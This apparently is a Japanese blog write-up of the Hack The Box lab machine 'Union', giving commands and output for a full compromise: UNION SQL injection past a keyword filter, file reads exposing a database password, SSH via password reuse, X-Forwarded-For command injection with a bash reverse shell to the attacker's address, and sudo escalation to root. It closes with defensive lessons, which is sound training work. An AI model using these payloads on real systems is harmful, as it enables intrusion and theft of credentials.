Hack The BoxのWriteup(Union)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Union — 全実行コマンド・実行結果レポート
Nmap スキャン
80/tcp のみ open
UNION SQLi (WAF回避)
index.php の player パラメータ
LOAD_FILE()
challenge flag + DB資格情報奪取
challenge.php にflag提出
firewall.phpが22番を自IPへ開放
SSH (uhc) → user.txt ✓
X-Forwarded-For
コマンドインジェクション
sudo -l → NOPASSWD: ALL
sudo bash → root.txt ✓

Nmap スキャン

BASH
nmap -sV -sC -p- --min-rate 2000 10.129.96.75
RESULT
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
ℹ️
開いているのは80番のみ。22番(SSH)はfiltered(応答なし)であり、 後のフェーズでアプリケーション側の機能によって動的に開放されることが判明する。

サイト確認

BASH
curl -s http://10.129.96.75/ | head -c 500
RESULT
UHC (Ultimate Hacking Championship) November Qualifiers のフォーム画面。
"player" 名を入力して Check ボタンを押すと index.php へ AJAX POST される。
BASH
curl -s -X POST http://10.129.96.75/index.php -d "player=df"
curl -s -X POST http://10.129.96.75/index.php -d "player=ippsec"
RESULT
player=df     → Congratulations df you may compete in this tournament!...
player=ippsec → Sorry, ippsec you are not eligible due to already qualifying.
ℹ️
DBに登録済みのプレイヤー名(ippsec等)は「既に予選通過済みなので参加不可」、 未登録の名前は「参加OK、/challenge.phpへ進んで」という応答の違いがある。

ディレクトリ列挙

BASH
feroxbuster -u http://10.129.96.75 -x php
RESULT
301  http://10.129.96.75/css
200  http://10.129.96.75/config.php     (空応答)
200  http://10.129.96.75/index.php
200  http://10.129.96.75/challenge.php
200  http://10.129.96.75/firewall.php   ("Access Denied")
ℹ️
config.php は他ページから require される内部ファイル。 firewall.php は今はアクセス拒否だが、名前からしてファイアウォール絡みの 重要な機能だと推測できる。
PHASE 2

簡易WAF回避 & UNION ベース SQLi でファイル読み取り

SQLi の兆候を発見

BASH
curl -s -X POST http://10.129.96.75/index.php -d "player=df'"
curl -s -X POST http://10.129.96.75/index.php -d "player=ippsec';-- -"
RESULT
player=df'                 → Congratulations df' you may compete...  (シングルクォートがそのまま出力=クエリを壊していない?)
player=ippsec';-- -         → Congratulations ippsec';-- - you may compete...
🚨
ippsec は本来「既に予選通過」で弾かれるはずが、シングルクォート+コメントアウトを 付けると「参加OK」の応答に変わった。これは WHERE username = 'ippsec';-- -' のような形でクエリが成立し、後半が無効化されたことを示す ── SQLi成立の証拠

簡易 WAF の検出と回避

NOTE
player=df' or 1=1;-- -  のような典型的なペイロードを送ると、
なぜか「参加OK」の応答すら返らなくなる(空/デフォルト応答)。
文字列 "0x" や " or " (前後スペース込み)を含めると同様に弾かれることを確認。
sqlmap 等の自動化ツールを止めるための簡易フィルタ("WAF")が入っている。
UNION SELECT 自体はこれらの禁止文字列を含まないため素通りする。
BASH
# 応答から定型文を取り除くヘルパー
qtest() {
  curl -s -X POST http://10.129.96.75/index.php -d "player=$1" \
    | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'
}
qtest "' union select user();-- -"
RESULT
uhc@localhost
UNION SELECT が通り、画面に表示される「プレイヤー名」の位置に任意のSELECT結果を 差し込める(UNION injection)ことを確認。

DB列挙

BASH
qtest "' union select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.schemata;-- -"
qtest "' union select group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema='november';-- -"
qtest "' union select group_concat(table_name,':',column_name) from INFORMATION_SCHEMA.columns where table_schema='november';-- -"
RESULT
DB一覧  : mysql,information_schema,performance_schema,sys,november
テーブル: flag,players
カラム  : flag:one, players:player

challenge flag の取得

BASH
qtest "' union select group_concat(one) from flag;-- -"
RESULT
UHC{F1rst_5tep_2_Qualify}

LOAD_FILE() でソースコードと /etc/passwd を読む

BASH
qtest "' union select load_file('/var/www/html/config.php');-- -"
qtest "' union select load_file('/etc/passwd');-- -"
RESULT (config.php)
<?php
  session_start();
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-11qual-global-pw";
  $dbname = "november";
  $conn = new mysqli($servername, $username, $password, $dbname);
?>
RESULT (/etc/passwd 抜粋)
...
htb:x:1000:1000:htb:/home/htb:/bin/bash
...
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash
🚨
MySQLの uhc ユーザーが FILE 権限付きで動いているため、 UNION SQLi 経由で任意ファイルの読み取り(LFI相当)ができてしまう。 DBパスワードとOSユーザー一覧(uhc等)の両方が判明した。
PHASE 3

flag 提出 → firewall.php が SSH を開放 → user.txt

challenge.php に flag を提出

BASH
curl -s -c cookies.txt http://10.129.96.75/challenge.php -o /dev/null
curl -s -b cookies.txt -c cookies.txt -X POST http://10.129.96.75/challenge.php \
  -d "flag=UHC{F1rst_5tep_2_Qualify}" -D headers.txt -o /dev/null
grep -i location headers.txt
RESULT
Location: /firewall.php
ℹ️
challenge.php のソース(LOAD_FILEで既読)によると、送信した flag が SELECT * FROM flag WHERE one = ? にヒットすると $_SESSION['Authenticated'] = True がセットされ firewall.php へリダイレクトされる。

firewall.php へアクセス → 22番ポート開放

BASH
curl -s -b cookies.txt http://10.129.96.75/firewall.php
RESULT
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
RESULT (firewall.php ソース抜粋)
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
🚨
Authenticated セッションで firewall.php にアクセスするたびに、自分の 送信元IP(または X-Forwarded-For ヘッダの値)を sudo iptables で INPUT ACCEPT に追加している。この $ip がサニタイズなしで system() に渡されている点が次フェーズの脆弱性そのもの。

SSH で user.txt 取得

BASH
nc -vz -w5 10.129.96.75 22
sshpass -p "uhc-11qual-global-pw" ssh uhc@10.129.96.75 "id; cat ~/user.txt"
RESULT
10.129.96.75: 22 (ssh) open
uid=1001(uhc) gid=1001(uhc) groups=1001(uhc)
595752b2961f1a2f67df85cbfd3ddfe5
user.txt — uhc
595752b2961f1a2f67df85cbfd3ddfe5
MySQL用に読み取ったDBパスワードが、そのまま OS の uhc ユーザーの SSHパスワードとしても使い回されていた。
PHASE 4

X-Forwarded-For ヘッダのコマンドインジェクションで www-data シェル

脆弱ポイントの再確認

NOTE
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");

$ip は X-Forwarded-For ヘッダの値をそのまま使う。開発者は「送信元IPは偽装できない」
という前提で安全だと考えたようだが、X-Forwarded-For はクライアントが自由に
設定できるヘッダであり、$ip の中身は完全にこちらでコントロールできる。
セミコロンで区切れば任意コマンドを追加注入できる。

PoC: out-of-band ping で疎通確認

BASH
sudo tcpdump -ni tun0 icmp &
curl -s -b cookies.txt \
  -H "X-Forwarded-For: 1.1.1.1; ping -c 1 10.10.15.201;" \
  http://10.129.96.75/firewall.php -o /dev/null
RESULT
19:08:32 IP 10.129.96.75 > 10.10.15.201: ICMP echo request, id 1, seq 1
⚠️
末尾のセミコロン ; を忘れずに付けること。付けないと sudo iptables ... -s 1.1.1.1; ping -c 1 <ip> -j ACCEPT の形になり、 ping コマンドが未知のオプション -j を受け取ってエラーになる。

リバースシェル

BASH
# リスナー
nc -lnvp 4444

# ペイロード送信
curl -s -b cookies.txt \
  -H 'X-Forwarded-For: 1.1.1.1; bash -c "bash -i >& /dev/tcp/10.10.15.201/4444 0>&1";' \
  http://10.129.96.75/firewall.php -o /dev/null
RESULT (nc :4444 側)
listening on [any] 4444 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.96.75] 50918
bash: cannot set terminal process group (755): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$
RCE成功。 www-data 権限のインタラクティブシェルを獲得。
PHASE 5

sudo NOPASSWD:ALL → root.txt

sudo 権限の確認

BASH
www-data@union:~/html$ sudo -l
RESULT
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL
🚨
firewall.php が sudo /usr/sbin/iptables だけを呼べればよいはずが、 実際には www-data にあらゆるコマンドをパスワード無しでsudo実行できる 権限が付与されている(過剰な権限付与)。

root シェル取得 & root.txt

BASH
www-data@union:~/html$ sudo bash
root@union:~# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
99caac717bde797b6459df184bf024dd
root.txt
99caac717bde797b6459df184bf024dd
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — uhc
595752b2961f1a2f67df85cbfd3ddfe5
root.txt
99caac717bde797b6459df184bf024dd

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
UNION ベース SQLi (WAF回避) index.php の player パラメータ DB全読み取り + LOAD_FILE()による任意ファイル読み取り Critical 禁止文字列(“0x”,” or “)を避けた UNION SELECT で challenge flag / DB資格情報 / /etc/passwd を奪取
パスワード使い回し MySQL uhc アカウント ⇔ OS uhc アカウント SSHアクセス(user.txt) Medium DB接続パスワードがOSログインパスワードとしても有効だった
OSコマンドインジェクション firewall.php の X-Forwarded-For ヘッダ リモートコード実行 (www-data) Critical ユーザー制御可能なヘッダ値をサニタイズせず system() に連結
過剰な sudo 権限 www-data の sudoers エントリ 権限昇格 (root) Critical iptables専用で十分なはずが (ALL:ALL) NOPASSWD:ALL が付与されていた

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap (80のみ open) + アプリ動作確認WAF付きログインフォーム、challenge/firewallページの存在
2データ奪取UNION SQLi + LOAD_FILE()challenge flag、DB資格情報 uhc:uhc-11qual-global-pw、ユーザー一覧
3横展開flag提出→firewall.phpで22番自動開放→SSH(パスワード使い回し)user.txt 取得
4RCEX-Forwarded-Forヘッダのコマンドインジェクションwww-data リバースシェル
5権限昇格sudo -l → (ALL:ALL) NOPASSWD:ALL → sudo bashroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
禁止文字列のブラックリスト方式のみでSQLiを防ごうとしている(簡易WAF) プレースホルダ/プリペアドステートメントを徹底し、文字列連結でSQL文を組み立てない。ブラックリスト方式のWAFはバイパス手法が常に存在する前提で運用する。
MySQLアカウントに不要な FILE 権限が付与されている アプリ用DBアカウントは必要最小限の権限(SELECT/INSERT/UPDATE等)に絞り、FILE権限やスーパーユーザー相当の権限を渡さない。
DBパスワードをOSアカウントのパスワードとして使い回している 用途ごとに独立した認証情報を発行し、ローテーションと使い回し禁止を徹底する。
クライアント制御可能なヘッダ(X-Forwarded-For)をコマンドに直接連結 外部入力は信頼しない。IPアドレスの妥当性を厳密に検証(正規表現+フォーマットチェック)し、system()系関数を使う場合は escapeshellarg() 等でエスケープするか、そもそもシェル経由を避けるAPIを使う。
www-dataに (ALL:ALL) NOPASSWD:ALL のsudo権限を付与 sudoers は実行させたい特定のコマンド(例: /usr/sbin/iptables の特定引数のみ)に限定し、ワイルドカードのALL権限を付与しない。
HackTheBox: Union | 完全攻略レポート